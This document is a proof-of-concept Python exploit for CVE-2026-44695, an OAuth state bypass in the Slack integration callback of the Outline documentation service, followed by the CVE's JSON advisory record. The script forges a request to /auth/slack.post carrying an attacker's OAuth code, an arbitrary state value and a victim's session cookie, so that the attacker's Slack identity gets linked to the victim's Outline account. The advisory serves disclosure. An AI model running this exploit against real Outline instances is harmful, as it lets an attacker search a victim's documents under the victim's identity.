CVE-2026-44695

# Proof of Concept for CVE-2026-44695 # This script demonstrates the concept of the OAuth state bypass. # Note: This is a simplified representation of the attack flow. import requests # Configuration TARGET_URL = "https://target-outline-instance.com" # Attacker obtains a valid OAuth code for the target Outline's Slack App ATTACKER_OAUTH_CODE = "xoxp-attacker-obtained-authorization-code" # The vulnerable endpoint accepts an arbitrary, unsigned state VULNERABLE_STATE = "arbitrary_malicious_state" # The victim's session cookie (required for the linking to succeed) VICTIM_SESSION = "session=victim_session_cookie_value" def exploit(): headers = { "Cookie": VICTIM_SESSION, "User-Agent": "Mozilla/5.0 (Attacker Bot)" } # Construct the malicious callback URL # In a real scenario, the victim is tricked into visiting this URL params = { "code": ATTACKER_OAUTH_CODE, "state": VULNERABLE_STATE } callback_url = f"{TARGET_URL}/auth/slack.post" print(f"[*] Sending malicious request to: {callback_url}") print(f"[*] Using attacker OAuth code: {ATTACKER_OAUTH_CODE}") try: # Victim makes the request (triggered by attacker) response = requests.get(callback_url, params=params, headers=headers) if response.status_code == 200 or response.status_code == 302: print("[+] Potential success! The server accepted the callback.") print("[+] Check if the attacker's Slack ID is now linked to the victim's Outline account.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-44695", "sourceIdentifier": "[email protected]", "published": "2026-05-11T22:22:14.347", "lastModified": "2026-05-11T22:22:14.347", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Outline is a service that allows for collaborative documentation. Prior to 1.7.1, the Slack integration callback for GET /auth/slack.post accepts an unsigned, session-independent OAuth state value. A third party who can obtain a Slack OAuth code for the same Outline Slack client can make a logged-in Outline user complete the callback and link that user's Outline account to the attacker's Slack team_id and user_id. The linked Slack identity can then use the Slack /outline search command as the victim Outline user. This vulnerability is fixed in 1.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://github.com/outline/outline/security/advisories/GHSA-mjgw-5j7q-gv8v", "source": "[email protected]"}]}}